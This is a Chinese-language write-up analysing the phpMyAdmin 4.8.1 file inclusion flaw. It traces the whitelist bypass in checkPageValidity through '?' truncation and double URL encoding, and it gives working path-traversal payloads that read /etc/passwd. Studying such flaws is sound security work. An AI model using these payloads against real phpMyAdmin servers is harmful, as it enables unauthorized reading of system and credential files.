环境搭建

  • composer
  • phpMyAdmin 4.8.1
  • Xdebug
  • vscode

xdebug和vscode的详细配置看另一篇文章
VScode+XDebug远程调试ThinkPHP RCE
使用命令搭建指定版本phpmyadmin:

  1. composer create-project phpmyadmin/phpmyadmin:4.8.1

搭建完成后还需要安装依赖:

  1. composer update --ignore-platform-reqs

漏洞分析

源码位置在index.php的第55~63行:

  1. if (! empty($_REQUEST['target'])
  2. && is_string($_REQUEST['target'])
  3. && ! preg_match('/^index/', $_REQUEST['target'])
  4. && ! in_array($_REQUEST['target'], $target_blacklist)
  5. && Core::checkPageValidity($_REQUEST['target'])
  6. ) {
  7. include $_REQUEST['target'];
  8. exit;
  9. }

可以看到第7行有一个include $_REQUEST['target'];,但是要成功进行文件包含需要满足上面的5个条件:

  1. ! empty($_REQUEST[‘target’])
  2. is_string($_REQUEST[‘target’])
  3. ! preg_match(‘/^index/‘, $_REQUEST[‘target’])
  4. ! in_array($_REQUEST[‘target’], $target_blacklist)
  5. Core::checkPageValidity($_REQUEST[‘target’])

上面4个就不用说了,只看最后一个。
调用了Core类中的checkPageValidity函数,看一下代码是什么:

  1. public static function checkPageValidity(&$page, array $whitelist = [])
  2. {
  3. if (empty($whitelist)) {
  4. $whitelist = self::$goto_whitelist;
  5. }
  6. if (! isset($page) || !is_string($page)) {
  7. return false;
  8. }
  9. if (in_array($page, $whitelist)) {
  10. return true;
  11. }
  12. $_page = mb_substr(
  13. $page,
  14. 0,
  15. mb_strpos($page . '?', '?')
  16. );
  17. if (in_array($_page, $whitelist)) {
  18. return true;
  19. }
  20. $_page = urldecode($page);
  21. $_page = mb_substr(
  22. $_page,
  23. 0,
  24. mb_strpos($_page . '?', '?')
  25. );
  26. if (in_array($_page, $whitelist)) {
  27. return true;
  28. }
  29. return false;
  30. }

获取whitelist:

  1. if (empty($whitelist)) {
  2. $whitelist = self::$goto_whitelist;
  3. }

判断whitelist的内容是否为空,是的话把goto_whitelist的内容赋值过去
goto_whitelist:

  1. public static $goto_whitelist = array(
  2. 'db_datadict.php',
  3. 'db_sql.php',
  4. 'db_events.php',
  5. 'db_export.php',
  6. 'db_importdocsql.php',
  7. 'db_multi_table_query.php',
  8. 'db_structure.php',
  9. 'db_import.php',
  10. 'db_operations.php',
  11. 'db_search.php',
  12. 'db_routines.php',
  13. 'export.php',
  14. 'import.php',
  15. 'index.php',
  16. 'pdf_pages.php',
  17. 'pdf_schema.php',
  18. 'server_binlog.php',
  19. 'server_collations.php',
  20. 'server_databases.php',
  21. 'server_engines.php',
  22. 'server_export.php',
  23. 'server_import.php',
  24. 'server_privileges.php',
  25. 'server_sql.php',
  26. 'server_status.php',
  27. 'server_status_advisor.php',
  28. 'server_status_monitor.php',
  29. 'server_status_queries.php',
  30. 'server_status_variables.php',
  31. 'server_variables.php',
  32. 'sql.php',
  33. 'tbl_addfield.php',
  34. 'tbl_change.php',
  35. 'tbl_create.php',
  36. 'tbl_import.php',
  37. 'tbl_indexes.php',
  38. 'tbl_sql.php',
  39. 'tbl_export.php',
  40. 'tbl_operations.php',
  41. 'tbl_structure.php',
  42. 'tbl_relation.php',
  43. 'tbl_replace.php',
  44. 'tbl_row_action.php',
  45. 'tbl_select.php',
  46. 'tbl_zoom_select.php',
  47. 'transformation_overview.php',
  48. 'transformation_wrapper.php',
  49. 'user_password.php',
  50. );

对传递的参数进行一次in_array判断:

  1. if (in_array($page, $whitelist)) {
  2. return true;
  3. }

如果访问的页面在whitelist直接返回true,这里肯定是不能利用。
接着phpMyAdmin还考虑到了传递的带参数的情况

  1. $_page = mb_substr(
  2. $page,
  3. 0,
  4. mb_strpos($page . '?', '?')
  5. );
  6. if (in_array($_page, $whitelist)) {
  7. return true;
  8. }

使用mb_substr进行一次截断,截取?之前的内容,并用in_array进行判断是否在whitelist中,而这就导致了漏洞的产生。
如果我们构造的payload中已经有一个?,并且?前面的字符串在whitelist中,那么?后面的内容程序就不管了,直接返回true,然后就开始包含文件。
payload:

  1. index.php?target=db_sql.php?/../../../../../../../../../../etc/passwd

但是以上payload只能在linux环境下使用,因为windows的路径中不能包含?,否则会报错。
继续往下看

  1. $_page = urldecode($page);
  2. $_page = mb_substr(
  3. $_page,
  4. 0,
  5. mb_strpos($_page . '?', '?')
  6. );
  7. if (in_array($_page, $whitelist)) {
  8. return true;
  9. }

发现进行了一次url解码,然后和前面一样,截断判断。而当我们把链接发送到服务器时也会进行一次url解码,所以将前面的payload中的?url编码两次即可成功绕过。

  1. index.php?target=db_sql.php%253f/../../../../../../../../../../etc/passwd

尚存在的问题

  1. 漏洞页面为index.php,而上一级目录中存在index.html,如果要包含index.html,理论上应该是index.php?target=db_sql.php?../index.html,但是实际测试发现会报错,而当访问index.php?target=db_sql.php?../../../index.html时得到了正确的返回结果,为什么是三个上级目录?

    1. 可能1:把dq_sql.php当成目录了
  2. 为什么include可以正常包含db_sql.php?../../../index.html这样的路径

    1. 可能1:把dq_sql.php当成目录了